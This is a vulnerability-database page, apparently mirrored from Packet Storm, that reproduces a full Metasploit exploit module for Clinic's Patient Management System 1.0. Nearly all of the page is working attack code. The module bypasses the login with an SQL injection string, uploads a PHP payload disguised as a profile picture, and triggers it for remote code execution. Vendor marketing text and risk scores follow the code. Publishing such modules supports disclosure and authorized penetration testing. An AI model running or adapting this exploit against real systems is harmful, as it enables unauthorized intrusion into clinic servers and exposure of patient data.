Lucene search
K

📄 Clinic's Patient Management System 1.0 SQL Injection / Remote Code Execution

🗓️ 22 May 2025 00:00:00Reported by Ashish Kumar, msutovsky-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 88 Views

Unauthenticated SQL injection in Clinic PMS 1.0 allows admin login and remote code execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::PhpEXE
      include Msf::Exploit::FileDropper
      # include Msf::Post::File
      include Msf::Auxiliary::Report
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
            'Description' => %q{
              This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
            },
            'Author' => [
              'msutovsky-r7', # CVE-2025-3096, module developer
              'Ashish Kumar' # CVE-2022-2297
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Privileged' => false,
            'Targets' => [
              ['Clinic Patient Management System 2.0', {}]
            ],
            'DefaultTarget' => 0,
            'References' => [
              ['CVE', '2022-2297'],
              ['CVE', '2025-3096'],
              ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
            ],
            'DisclosureDate' => '2025-01-04',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
          OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
        ])
      end
    
      def check
        print_status('Checking if target is vulnerable...')
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET'
        })
    
        return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
        return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
        return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
    
        return Exploit::CheckCode::Appears('Clinic PMS detected')
      end
    
      def login_sqli
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'vars_post' =>
          {
            user_name: "' or '1'='1' LIMIT 1;--",
            password: '',
            login: ''
          }
        })
    
        fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
        fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')
    
        fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
        print_status('Logged using SQL injection..')
      end
    
      def upload_payload
        username = Rex::Text.rand_text_alphanumeric(8)
        password = Rex::Text.rand_text_alphanumeric(8)
        filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
    
        boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
    
        data_post = "--#{boundary}\r\n"
        data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
        data_post << "1\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
        data_post << "#{username}\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
        data_post << "#{username}\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
        data_post << "#{password}\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
        data_post << "Content-Type: application/x-php\r\n\r\n"
        data_post << "#{payload.encoded}\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
        data_post << "\r\n"
        data_post << "--#{boundary}--\r\n"
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'update_user.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'vars_get' =>
          {
            'user_id' => '1'
          },
          'data' => data_post
        })
    
        fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
        fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
    
        fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
        print_status('Malicious file uploaded..')
      end
    
      def logout
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path + 'logout.php'),
          'method' => 'GET'
        })
        fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
        fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
    
        fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
        print_status('Logged out..')
        @cookie_jar.clear
      end
    
      def trigger_payload
        logout
        login_sqli
    
        print_status('Reporting vulnerability')
        report_vuln(
          host: datastore['RHOSTS'],
          name: name,
          refs: references,
          info: 'The target is vulnerable to CVE-2025-3096.'
        )
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/update_user.php'),
          'method' => 'GET',
          'keep_cookies' => true,
          'vars_get' =>
          {
            'user_id' => '1'
          }
        })
    
        fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
        fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
        html_document = res.get_html_document
        payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text
    
        fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
    
        register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, payload_path),
          'method' => 'GET',
          'keep_cookies' => true
        })
      end
    
      def exploit
        login_sqli
        upload_payload
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 May 2025 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 26.5
CVSS 3.19.8
CVSS 49.3
EPSS0.90334
SSVC
88